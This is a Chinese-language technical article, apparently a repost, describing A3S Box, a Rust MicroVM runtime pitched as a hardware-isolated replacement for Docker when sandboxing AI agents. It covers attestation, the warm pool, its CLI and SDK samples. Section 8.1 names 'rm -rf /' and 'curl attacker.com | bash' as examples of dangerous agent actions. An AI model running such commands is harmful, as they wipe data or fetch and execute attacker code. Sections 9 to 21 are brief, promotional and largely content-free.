Rust 編寫的 40MB 大小 MicroVM 運行時，完美替代 Docker 作為 AI Agent Sandbox

當我們剝離所有技術術語的外衣，回到計算的本質，一個核心問題浮現出來：我們能否讓每一個工作負載都運行在自己的操作系統核心之上，同時保持容器級別的啟動速度和開發體驗？ A3S Box 給出了肯定的答案——一個 40MB 的單一二進制，無守護進程，200ms 冷啟動，52 個 Docker 兼容命令，硬體級隔離 + 可選機密計算。

目錄

1. 引言：為什麼需要重新思考容器運行時
2. 本質追問：從根本問題出發
3. 架構總覽：七個 Crate 的精密協作
4. 核心價值一：真正的硬體級隔離
5. 核心價值二：機密計算與零信任安全
6. 核心價值三：200ms 冷啟動的 MicroVM
7. 核心價值四：完整的 Docker 兼容體驗
8. 核心價值五：AI Agent 安全隔離沙箱
9. 深入虛擬機生命周期：狀態機設計
10. TEE 機密計算：從硬體到應用的信任鏈
11. Vsock 通信協議：宿主與客戶機的橋樑
12. OCI 映像處理管線：從註冊表到根檔案系統
13. 網路架構：三種模式的靈活選擇
14. Guest Init：MicroVM 內部的 PID 1
15. 暖池機制：消除冷啟動的終極方案
16. 七層縱深防禦安全模型
17. 可觀測性：Prometheus、OpenTelemetry 與審計
18. Kubernetes 集成：CRI 運行時
19. SDK 生態：Rust、Python、TypeScript 三端統一
20. 與現有方案的對比分析
21. 未來展望與總結

1. 引言：為什麼需要重新思考容器運行時

過去十年，Docker 和容器技術徹底改變了軟體的交付方式。開發者可以將應用及其依賴打包成一個標準化的映像，在任何支持容器運行時的環境中運行。這種「一次構建，到處運行」的理念極大地提升了開發效率和部署一致性。

然而，隨著雲原生架構的深入發展，傳統容器運行時的根本性局限逐漸暴露：

共享核心的安全困境。 傳統容器（如 Docker 使用的 runc）本質上是 Linux 核心的進程隔離機制——通過 namespace 和 cgroup 實現資源隔離。但所有容器共享同一宿主機核心。這意味著一個核心漏洞（如 CVE-2022-0185、CVE-2022-0847 "Dirty Pipe"）可以讓攻擊者從任何容器逃逸到宿主機，進而控制同一節點上的所有工作負載。

多租戶環境的信任危機。 在公有雲和邊緣計算場景中，來自不同租戶的工作負載運行在同一物理硬體上。即使使用了容器隔離，租戶之間仍然缺乏硬體級別的信任邊界。雲服務提供商的管理員理論上可以訪問任何租戶的記憶體數據——這在處理醫療記錄、金融數據或個人隱私信息時是不可接受的。

性能與安全的兩難選擇。 現有的解決方案要麼犧牲性能換取安全（傳統虛擬機啟動需要數秒到數十秒），要麼犧牲安全換取性能（容器的隔離強度不足）。Kata Containers 和 Firecracker 等項目試圖在兩者之間找到平衡，但仍然存在各自的局限。

A3S Box 的誕生，正是為了從根本上解決這個矛盾。

📖 完整文檔與 API 參考請訪問：a3s-lab.github.io/a3s/

2. 本質追問：從根本問題出發

要理解 A3S Box 的設計決策，我們需要拋開類比和慣例，回到最基本的事實，然後從那裡向上推理。讓我們用這種方式重新審視「運行一個工作負載」這件事。

2.1 什麼是工作負載隔離的本質？

從物理學的角度看，隔離意味著兩個系統之間沒有信息泄漏的通道。在計算領域，這意味著：

1. 記憶體隔離：工作負載 A 無法讀取或寫入工作負載 B 的記憶體空間
2. 執行隔離：工作負載 A 的代碼執行不會影響工作負載 B 的執行流
3. I/O 隔離：工作負載 A 的輸入輸出不會被工作負載 B 截獲或篡改
4. 時間隔離：工作負載 A 的資源消耗不會導致工作負載 B 的性能退化

傳統容器只在操作系統層面實現了這些隔離——通過內核的 namespace 和 cgroup 機制。但內核本身是共享的，這意味著隔離的強度取決於內核代碼的正確性。Linux 內核有超過 3000 萬行代碼，每年發現數百個安全漏洞。依賴如此龐大的代碼基來保證隔離，從根本上看是不可靠的。

2.2 硬體隔離是唯一的根本解

如果我們不能信任軟體來提供完美的隔離，那麼唯一的選擇就是利用硬體。現代處理器提供了兩個層次的硬體隔離：

第一層：虛擬化擴展（Intel VT-x / AMD-V / Apple HVF）。 處理器在硬體層面區分宿主模式（VMX root）和客戶模式（VMX non-root）。客戶模式下的代碼無法直接訪問宿主的記憶體或設備，任何敏感操作都會觸發 VM Exit，由宿主的 VMM（虛擬機監視器）處理。這提供了比操作系統級隔離強得多的保證。

第二層：記憶體加密（AMD SEV-SNP / Intel TDX）。 更進一步，現代處理器可以對虛擬機的記憶體進行硬體加密。即使是擁有物理訪問權限的攻擊者（包括雲服務提供商的管理員），也無法讀取虛擬機記憶體中的明文數據。這就是所謂的「機密計算」（Confidential Computing）。

2.3 A3S Box 的核心洞察

A3S Box 的核心洞察可以用一句話概括：

MicroVM + 機密計算 + 容器體驗 = 安全與效率的統一

具體來說：

• 每個工作負載一個 MicroVM：利用 libkrun 在 ~200ms 內啟動一個輕量級虛擬機，每個工作負載擁有獨立的 Linux 核心。這不是容器級別的「假隔離」，而是硬體強制的真隔離。
• 可選的機密計算：在支持 AMD SEV-SNP 的硬體上，MicroVM 的記憶體被硬體加密。即使宿主機被完全攻破，攻擊者也無法讀取 MicroVM 內部的數據。
• Docker 兼容的用戶體驗：52 個 Docker 兼容命令，開發者無需學習新工具。a3s-box run nginx 就像 docker run nginx 一樣簡單，但背後是完全不同的安全模型。

這三個要素的結合，使得 A3S Box 不是對現有容器運行時的漸進式改進，而是一種範式轉換——從「共享核心的進程隔離」到「獨立核心的硬體隔離」。

2.4 為什麼是 libkrun？

在選擇虛擬化後端時，A3S Box 選擇了 libkrun 而非 QEMU 或 Firecracker。這個選擇同樣經過了嚴格的技術評估：

libkrun 的獨特優勢在於它是一個庫而非獨立進程。這意味著 A3S Box 可以將 VMM 直接嵌入到自己的進程空間中，減少了進程間通信的開銷，同時在 macOS 上透過 Apple Hypervisor Framework（HVF）提供原生支持——這對開發者體驗至關重要，因為大量開發者使用 macOS 進行日常開發。

3. 架構總覽：七個 Crate 的精密協作

A3S Box 採用 Rust 語言編寫，整個項目由七個 Crate 組成，共 218 個源檔，1,466 個單元測試和 7 個整合測試。這種模組化設計遵循了「最小核心 + 外部擴展」的架構理念。

3.1 Crate 拓撲

┌─────────────────────────────────────────────────────────────────┐
│                        a3s-box-cli                              │
│                    52 個 Docker 兼容命令                          │
│                       (361 tests)                               │
├─────────────────────────────────────────────────────────────────┤
│                       a3s-box-sdk                               │
│              Rust / Python / TypeScript SDK                     │
├──────────────────────┬──────────────────────────────────────────┤
│   a3s-box-cri        │           a3s-box-runtime                │
│  Kubernetes CRI      │    VM 生命週期、OCI、TEE、網路              │
│                      │           (678 tests)                    │
├──────────────────────┴──────────────────────────────────────────┤
│                       a3s-box-core                              │
│              配置、錯誤類型、事件、Trait 定義                       │
│                       (331 tests)                               │
├─────────────────────────────────────────────────────────────────┤
│  a3s-box-shim        │        a3s-box-guest-init                │
│  libkrun 橋接子進程   │     Guest PID 1 / Exec / PTY / 證明       │
├──────────────────────┴──────────────────────────────────────────┤
│                      libkrun-sys                                │
│                   libkrun FFI 綁定                               │
└─────────────────────────────────────────────────────────────────┘

3.2 各 Crate 職責

a3s-box-core（核心層）：定義所有核心抽象——配置結構體、錯誤類型（BoxError 列舉，15 個變體）、事件系統，以及關鍵的 Trait 介面。這是整個系統的「契約層」，其他所有 Crate 都依賴它，但它不依賴任何其他 A3S Crate。

a3s-box-runtime（運行時層）：實現 VM 生命週期管理、OCI 映像拉取與快取、TEE 機密計算、網路配置、暖池、自動擴縮容等核心功能。這是系統中最複雜的 Crate，擁有 678 個單元測試。

a3s-box-cli（命令行層）：提供 52 個 Docker 兼容命令，是用戶與系統互動的主要介面。它將用戶的命令翻譯為對 runtime 層的調用。

a3s-box-shim（VMM 橋接層）：作為獨立子進程運行，負責調用 libkrun FFI 接口來創建和管理 MicroVM。這種進程隔離設計確保了 VMM 的崩潰不會影響主進程。

a3s-box-guest-init（客戶機初始化）：編譯為靜態二進制，作為 MicroVM 內部的 PID 1 運行。負責掛載檔案系統、配置網路、啟動 Exec/PTY/Attestation 伺服器。

a3s-box-cri（Kubernetes 集成層）：實現 CRI（Container Runtime Interface）協議，使 A3S Box 可以作為 Kubernetes 的 RuntimeClass 運行。

a3s-box-sdk（SDK 層）：提供嵌入式 Rust SDK，並通過 PyO3 和 napi-rs 分別生成 Python 和 TypeScript 綁定。

3.3 核心 Trait 體系

A3S Box 的可擴展性建立在一組精心設計的 Trait 之上。這些 Trait 定義了系統的擴展點，每個 Trait 都有默認實現，確保系統開箱即用：

這種設計的精妙之處在於：核心組件（5 個）保持穩定且不可替換，而擴展點（14 個）可以獨立演進。用戶可以替換任何擴展而不觸及核心——這正是「最小核心 + 外部擴展」原則的體現。

4. 核心價值一：真正的硬體級隔離

4.1 從 namespace 到 hypervisor

傳統容器的隔離模型可以類比為「同一棟大樓裡的不同房間」——房間之間有牆壁（namespace），但共享同一個地基（內核）。如果地基出現裂縫，所有房間都會受到影響。

A3S Box 的隔離模型則是「每個工作負載一棟獨立的建築」——每個 MicroVM 擁有自己的 Linux 核心，通過硬體虛擬化擴展（Intel VT-x / AMD-V / Apple HVF）與宿主機隔離。攻擊者即使在一個 MicroVM 中獲得了 root 權限並利用了內核漏洞，也只能影響該 MicroVM 自身——因為 VM Exit 機制確保了任何敏感操作都必須經過宿主機的 VMM 審查。

4.2 隔離層次的疊加

A3S Box 不僅僅依賴虛擬化來提供隔離。它在 MicroVM 內部還疊加了多層操作系統級隔離，形成縱深防禦：

┌─────────────────────────────────────────┐
│            應用進程                       │
├─────────────────────────────────────────┤
│  Seccomp BPF │ Capabilities │ no-new-priv│  ← 系統呼叫級
├─────────────────────────────────────────┤
│  Mount NS │ PID NS │ IPC NS │ UTS NS    │  ← 命名空間級
├─────────────────────────────────────────┤
│  cgroup v2 (CPU/Memory/PID limits)      │  ← 資源限制級
├─────────────────────────────────────────┤
│           獨立 Linux 核心                 │  ← 核心級
├─────────────────────────────────────────┤
│     硬體虛擬化 (VT-x / AMD-V / HVF)     │  ← 硬體級
├─────────────────────────────────────────┤
│  AMD SEV-SNP / Intel TDX (可選)          │  ← 記憶體加密級
└─────────────────────────────────────────┘

這種多層疊加的設計意味著，即使某一層被突破，攻擊者仍然面臨其他層的阻礙。這不是「選擇最強的一層」，而是「每一層都增加攻擊成本」。

4.3 Guest Init 的安全啟動鏈

MicroVM 內部的 PID 1 進程（a3s-box-guest-init）是安全模型的關鍵環節。它被編譯為靜態鏈接的 Rust 二進制，不依賴任何動態庫，最大限度地減少了攻擊面。

Guest Init 的啟動序列：

1. 掛載基礎檔案系統：/proc（procfs）、/sys（sysfs）、/dev（devtmpfs）
2. 掛載 virtio-fs 共享檔案系統（宿主機傳入的 rootfs）
3. 配置網路介面（通過原始系統呼叫，不依賴 iproute2）
4. 應用安全策略（Seccomp、Capabilities、no-new-privileges）
5. 啟動三個 vsock 伺服器：
   • 端口 4089：Exec 伺服器（命令執行）
   • 端口 4090：PTY 伺服器（互動式終端）
   • 端口 4091：Attestation 伺服器（TEE 證明，僅在 TEE 模式下）
6. 等待宿主機連接

整個過程不需要 systemd、不需要 shell、不需要任何用戶空間工具——這是一個極簡的、專為安全設計的初始化流程。

5. 核心價值二：機密計算與零信任安全

5.1 什麼是機密計算？

機密計算（Confidential Computing）是一種硬體安全技術，它在數據被處理時（in-use）對其進行保護。傳統的安全措施保護靜態數據（at-rest，通過磁碟加密）和傳輸中的數據（in-transit，通過 TLS），但處理中的數據通常以明文形式存在於記憶體中。

AMD SEV-SNP（Secure Encrypted Virtualization - Secure Nested Paging）通過以下機制改變了這一現狀：

• 記憶體加密：每個虛擬機擁有獨立的 AES 加密密鑰，由處理器的安全處理器（PSP）管理。宿主機的 VMM 無法讀取虛擬機的記憶體明文。
• 完整性保護：SNP（Secure Nested Paging）在 SEV-ES 的基礎上增加了內存完整性保護，防止宿主機篡改虛擬機的記憶體內容。
• 遠程證明：虛擬機可以生成硬體簽名的證明報告，證明自己運行在真正的 AMD SEV-SNP 硬體上，且初始記憶體內容（measurement）未被篡改。

5.2 A3S Box 的 TEE 實現

A3S Box 的 TEE 子系統包含 12 個模組，覆蓋了從硬體檢測到應用層密鑰管理的完整鏈路：

硬體檢測：系統啟動時自動探測 /dev/sev-guest、/dev/sev、/dev/tdx_guest 設備檔案，以及 /sys/module/kvm_amd/parameters/sev_snp 參數。如果硬體不可用但設置了 A3S_TEE_SIMULATE=1 環境變數，則進入模擬模式——這對開發和測試至關重要。

證明報告生成：當驗證方發送包含 nonce 和可選 user_data 的 AttestationRequest 時，Guest Init 將兩者通過 SHA-512 組合為 64 字節的 report_data，然後通過 SNP_GET_REPORT ioctl 調用 /dev/sev-guest 設備生成證明報告。報告長度為 1184 字節，包含：

偏移量 0x00-0x04: version (u32 LE)        — 報告格式版本
偏移量 0x04-0x08: guest_svn (u32 LE)      — 客戶機安全版本號
偏移量 0x08-0x10: policy (u64 LE)         — 安全策略標誌
偏移量 0x38-0x40: current_tcb             — 可信計算基版本
偏移量 0x90-0xC0: measurement (48 bytes)  — 初始記憶體的 SHA-384 哈希
偏移量 0x1A0-0x1E0: chip_id (64 bytes)    — 物理處理器唯一識別

證書鏈驗證：A3S Box 實現了完整的 AMD 證書鏈驗證：

AMD Root Key (ARK)          ← AMD 硬編碼的根信任錨
    │
    ├── AMD SEV Key (ASK)   ← 中間證書
    │       │
    │       └── VCEK        ← 芯片級證書（每個物理處理器唯一）
    │               │
    │               └── SNP Report Signature  ← 證明報告簽名

證書通過 AMD 的 KDS（Key Distribution Service）獲取：https://kds.amd.com/vcek/v1/{product}/{chip_id}，並在本地快取以避免重複網路請求。

5.3 RA-TLS：將證明嵌入 TLS

RA-TLS（Remote Attestation TLS）是 A3S Box 的一項關鍵創新。它將 SNP 證明報告嵌入到 X.509 證書的擴展欄位中，使得 TLS 握手過程同時完成了身份驗證和遠程證明。

這意味著：當宿主機與 MicroVM 建立 TLS 連接時，不僅驗證了通信對端的身份，還驗證了對端確實運行在受信任的 TEE 環境中。這消除了傳統方案中證明和通信分離帶來的 TOCTOU（Time-of-Check-Time-of-Use）漏洞。

5.4 密封存儲

密封存儲（Sealed Storage）允許 MicroVM 將敏感數據加密後持久化，且只有在相同（或兼容）的 TEE 環境中才能解密。A3S Box 使用 AES-256-GCM 加密，HKDF-SHA256 密鑰派生，並提供三種密封策略：

此外，密封存儲還實現了基於版本的回滾保護（VersionStore），防止攻擊者用舊版本的密封數據替換新版本。

6. 核心價值三：200ms 冷啟動的 MicroVM

6.1 為什麼啟動速度至關重要？

在 Serverless 和事件驅動架構中，工作負載的生命週期可能只有幾百毫秒到幾秒。如果虛擬機的啟動時間需要數秒，那麼啟動開銷就會佔據工作負載總時間的很大比例，使得 MicroVM 方案在這些場景中不可行。

A3S Box 通過 libkrun 實現了約 200ms 的冷啟動時間。這個數字意味著：

• 對於一個執行時間為 1 秒的 Serverless 函數，啟動開銷僅佔 20%
• 對於交互式工作負載，用戶幾乎感知不到啟動延遲
• 在 CI/CD 場景中，每個建構步驟都可以運行在獨立的 MicroVM 中而不會顯著增加總建構時間

6.2 啟動流程優化

A3S Box 的啟動流程經過精心優化：

[0ms]    VmController::start() 被調用
[5ms]    定位 a3s-box-shim 二進制
[10ms]   macOS: 檢查/簽署 hypervisor entitlement
[15ms]   序列化 InstanceSpec 為 JSON
[20ms]   啟動 shim 子進程
[25ms]   shim 調用 libkrun FFI 創建 VM 上下文
[30ms]   配置 vCPU、記憶體、virtio-fs、vsock
[50ms]   libkrun 啟動 VM（核心引導）
[150ms]  Guest Init (PID 1) 開始執行
[160ms]  掛載檔案系統
[170ms]  配置網路
[180ms]  啟動 vsock 伺服器
[200ms]  VM 就緒，接受命令

6.3 暖池：消除冷啟動

對於對延遲極度敏感的場景，A3S Box 提供了暖池（Warm Pool）機制——預先啟動一批 MicroVM，當請求到來時直接分配一個已就緒的 VM，實現零啟動延遲。

暖池的核心參數：

• min_idle：最小空閒 VM 數量（默認 1）
• max_size：池中最大 VM 數量（默認 5）
• idle_ttl_secs：空閒 VM 的存活時間（默認 300 秒）

暖池還集成了自動擴縮容器（PoolScaler），基於滑動窗口內的命中/未命中率動態調整 min_idle：

• 當未命中率超過 scale_up_threshold（默認 0.3）時，增加預熱 VM 數量
• 當未命中率低於 scale_down_threshold（默認 0.05）時，減少預熱 VM 數量
• 冷卻期（默認 60 秒）防止頻繁振盪

7. 核心價值四：完整的 Docker 兼容體驗

7.1 52 個 Docker 兼容命令

A3S Box 提供了 52 個與 Docker CLI 兼容的命令，覆蓋了容器生命週期管理的方方面面。開發者可以將現有的 Docker 工作流無縫遷移到 A3S Box，無需修改腳本或學習新的命令語法。

核心命令示例：

# 運行一個 MicroVM（等同於 docker run）
a3s-box run -d --name my-app -p 8080:80 nginx:latest

# 執行命令（等同於 docker exec）
a3s-box exec my-app cat /etc/nginx/nginx.conf

# 交互式終端（等同於 docker exec -it）
a3s-box exec -it my-app /bin/bash

# 查看日誌
a3s-box logs my-app

# 查看運行中的 MicroVM
a3s-box ps

# 停止並刪除
a3s-box stop my-app
a3s-box rm my-app

# 映像管理
a3s-box images
a3s-box pull ubuntu:22.04
a3s-box push myregistry.io/my-image:v1

# 網路管理
a3s-box network create my-network
a3s-box network connect my-network my-app

# 卷管理
a3s-box volume create my-data
a3s-box run -v my-data:/data my-app

# 審計查詢
a3s-box audit --filter "action=exec"

7.2 為什麼兼容性如此重要？

從技術採用的角度看，一項新技術能否被廣泛接受取決於兩個因素：價值增量和遷移成本。

A3S Box 的價值增量是巨大的——從共享核心隔離升級到硬體級隔離，可選的機密計算。但如果遷移成本同樣巨大（需要重寫所有部署腳本、學習全新的 CLI、改變團隊的工作流程），那麼大多數團隊會選擇留在現有方案中。

透過提供 Docker 兼容的 CLI，A3S Box 將遷移成本降到了最低：

# 遷移前
docker run -d --name app -p 8080:80 nginx

# 遷移後（只需替換命令名）
a3s-box run -d --name app -p 8080:80 nginx

這不僅僅是命令名的替換。A3S Box 兼容 Docker 的映像格式（OCI 標準）、網路模型、卷掛載語義、環境變數傳遞方式等。現有的 Dockerfile 無需修改即可使用。

8. 核心價值五：AI Agent 安全隔離沙箱

8.1 AI Agent 時代的安全挑戰

大語言模型（LLM）驅動的 AI Agent 正在從「對話助手」演進為「自主執行者」——它們不僅生成文本，還能編寫代碼、調用工具、操作檔案系統、發起網路請求。這種能力的飛躍帶來了全新的安全挑戰：

不可信代碼執行。 AI Agent 生成的代碼本質上是不可信的。即使是最先進的 LLM，也可能因為幻覺（hallucination）、提示注入（prompt injection）或對抗性輸入而生成惡意代碼。在沒有隔離的環境中執行這些代碼，等同於將宿主機的控制權交給了一個不可預測的實體。

工具調用的副作用。 Agent 通過工具（Tools）與外部世界互動——執行 shell 命令、讀寫檔案、訪問資料庫、調用 API。每一次工具調用都可能產生不可逆的副作用。如果 Agent 在宿主機上直接執行 rm -rf / 或 curl attacker.com | bash，後果不堪設想。

多租戶 Agent 平台。 SaaS 平台上運行著來自不同用戶的 Agent，每個 Agent 可能有不同的權限級別和信任度。一個惡意用戶的 Agent 不應該能夠影響其他用戶的 Agent 或平台本身。

8.2 為什麼傳統容器不夠？

許多 AI Agent 框架使用 Docker 容器作為沙箱。但正如本文第 1 章所分析的，傳統容器的隔離基於共享核心的 namespace 機制——一個核心漏洞就可以讓 Agent 生成的惡意代碼逃逸到宿主機。

對於 AI Agent 場景，這個風險被放大了：

• 攻擊面更大：Agent 可能執行任意系統呼叫，探測內核漏洞的概率更高
• 攻擊頻率更高：Agent 持續生成和執行代碼，每次執行都是一次潛在的攻擊嘗試
• 攻擊智能更高：LLM 具備理解和利用漏洞的能力，不同於傳統的隨機模糊測試

A3S Box 的 MicroVM 隔離從根本上解決了這個問題——即使 Agent 生成的代碼利用了 Linux 內核的零日漏洞，也無法突破硬體虛擬化邊界。

8.3 SDK 驅動的沙箱集成

A3S Box 不僅是一个命令行工具，更是一个可嵌入的沙箱運行時。通過 Rust/Python/TypeScript 三端 SDK，AI Agent 框架可以將 A3S Box 作為庫直接集成到自己的代碼中：

Python Agent 框架集成示例：

from a3s_box import BoxSdk, SandboxOptions

class SecureAgentExecutor:
    def __init__(self):
        self.sdk = BoxSdk()

    async def execute_agent_code(self, code: str, language: str = "python"):
        """在隔離沙箱中執行 Agent 生成的代碼"""

        # 創建一次性沙箱（獨立 MicroVM）
        sandbox = self.sdk.create(SandboxOptions(
            image=f"{language}:3.11",
            vcpus=2,
            memory_mib=512,
        ))

        # 在沙箱中執行不可信代碼
        result = sandbox.exec([language, "-c", code])

        return {
            "stdout": result.stdout,
            "stderr": result.stderr,
            "exit_code": result.exit_code,
        }
        # sandbox 在作用域結束時自動銷毀

TypeScript Agent 框架集成示例：

import { BoxSdk } from '@a3s/box';

class SecureToolExecutor {
    private sdk = new BoxSdk();

    async executeShellCommand(command: string): Promise<ToolResult> {
        // 每次工具調用都在獨立的 MicroVM 中執行
        const sandbox = await this.sdk.create({
            image: 'ubuntu:22.04',
            vcpus: 1,
            memoryMib: 256,
        });

        const output = await sandbox.exec(['bash', '-c', command]);

        return {
            success: output.exitCode === 0,
            output: output.stdout,
            error: output.stderr,
        };
    }
}

這種集成模式的關鍵優勢在於：每次代碼執行都在一個全新的、隔離的 MicroVM 中進行。即使 Agent 在某次執行中做了破壞性操作（刪除檔案、修改系統配置），也只影響該 MicroVM 自身——下一次執行會在一個乾淨的環境中開始。

8.4 暖池加速 Agent 回應

AI Agent 的互動模式通常是「思考-行動」的循環——因此低延遲是至關重要的。透過暖池機制，A3S Box 確保在觸發 Agent 的任務時擁有即時的反應能力。

9. 深入虛擬機生命周期：狀態機設計

A3S Box 中的虛擬機（MicroVM）生命週期管理基於狀態機模型，保證了可靠性與可維護性。狀態機模型將生命週期劃分為多個狀態（如初始化、運行、暫停、停止等），並明確了狀態之間的轉換邏輯。這種設計不僅優雅，還能有效降低因手動治理所造成的錯誤。

9.1 狀態轉換關鍵部分

狀態轉換的關鍵在於清晰定義合法轉換，並確保每個狀態的入口和出口行為都能夠正確執行。A3S Box 的安全模式要求在狀態轉換期間必須考慮一系列必要的防範措施，以避免資源洩漏或服務中斷。

10. TEE 機密計算：從硬體到應用的信任鏈

A3S Box 完整地實現了 TEE 中關鍵的信任鏈，確保了從硬體到應用程式的全過程均能夠信賴。在機密計算過程中，內部數據不僅在處理過程中加密，同時也能夠提供可驗證的證明，讓用戶確信其安全性。

11. Vsock 通信協議：宿主與客戶機的橋樑

Vsock 協議在 A3S Box 的架構中，充當了宿主機與其子虛擬機 (MicroVM) 之間的溝通橋樑。這種效率優化的通訊手段不僅提升了性能，還簡化了網路配置，進一步加快了雲端應用的回應速度和可靠性。

12. OCI 映像處理管線：從註冊表到根檔案系統

A3S Box 在 OCI 映像處理上，建立了一個高效的管線，實現從雲端註冊表到根檔案系統的流暢過渡。這不僅降低了映像拉取的時間成本，也確保了系統在動態擴展時的穩定性。

13. 網路架構：三種模式的靈活選擇

A3S Box 提供的網路架構支援多種模式的靈活選擇，包括橋接、邊界網路和隔離環境，以滿足不同用戶對於網路連接的需求。這使得用戶能夠根據應用場景的不同，自由選擇最佳的網路配置。

14. Guest Init：MicroVM 內部的 PID 1

Guest Init 作為每一個 MicroVM 的首個進程，負責初始化重要的系統檔案與環境設置。這一過程將所有配置整合為一個簡化的啟動序列，從而減少啟動時間，並防止潛在的配置錯誤。

15. 暖池機制：消除冷啟動的終極方案

暖池機制的實現，意味著當用戶發出請求時，系統能夠迅速匹配已啟動的 MicroVM，從而實現極低的延遲。此機制不僅適用於高並發場景，也為用戶提供了持久的運行環境，針對不同的需求進行自動擴展。

16. 七層縱深防禦安全模型

A3S Box 將七層防禦模型應用於其安全架構中，從單一的虛擬化層邊界擴展至應用層的全面防禦，確保在多層級的情況下提供不斷增強的安全保障。

17. 可觀測性：Prometheus、OpenTelemetry 與審計

A3S Box 裡整合了對 Prometheus 和 OpenTelemetry 的支持，使得系統的可觀測性大大提升。用戶可以輕鬆獲取運行狀態、性能指標及審計數據，為持續改善提供基礎。

18. Kubernetes 集成：CRI 運行時

A3S Box 完全兼容了 CRI 方式，使其可以被 Kubernetes 無縫集成。這意味著用戶不需要對現有的 Kubernetes 環境做大幅調整，就能快速利用 A3S Box 的所有優點。

19. SDK 生態：Rust、Python、TypeScript 三端統一

隨著不同語言生態的支持，A3S Box 成為開發者的選擇，無論是用 Rust、Python，還是 TypeScript，皆可充分發揮其能力。這種三端統一的設計，旨在推動開發者快速適應和學習新技術，提升生產力。

20. 與現有方案的對比分析

在對比現有方案時，A3S Box 展現了其在效率、安全性及使用體驗上的卓越性能。這些比較不僅有助於用戶了解其優勢，也證明了 A3S Box 在高要求的現代應用場景下的必然性。

21. 未來展望與總結

未來的 A3S Box 將持續演進，擴展更多的功能與特性，以應對日益增長的安全性需求與性能挑戰。在不斷提升的雲原生架構中，A3S Box 將繼續成為用戶信賴的選擇，助力開發者創造出更具創新性和安全性的應用。

原文出處：https://juejin.cn/post/7607597361293230118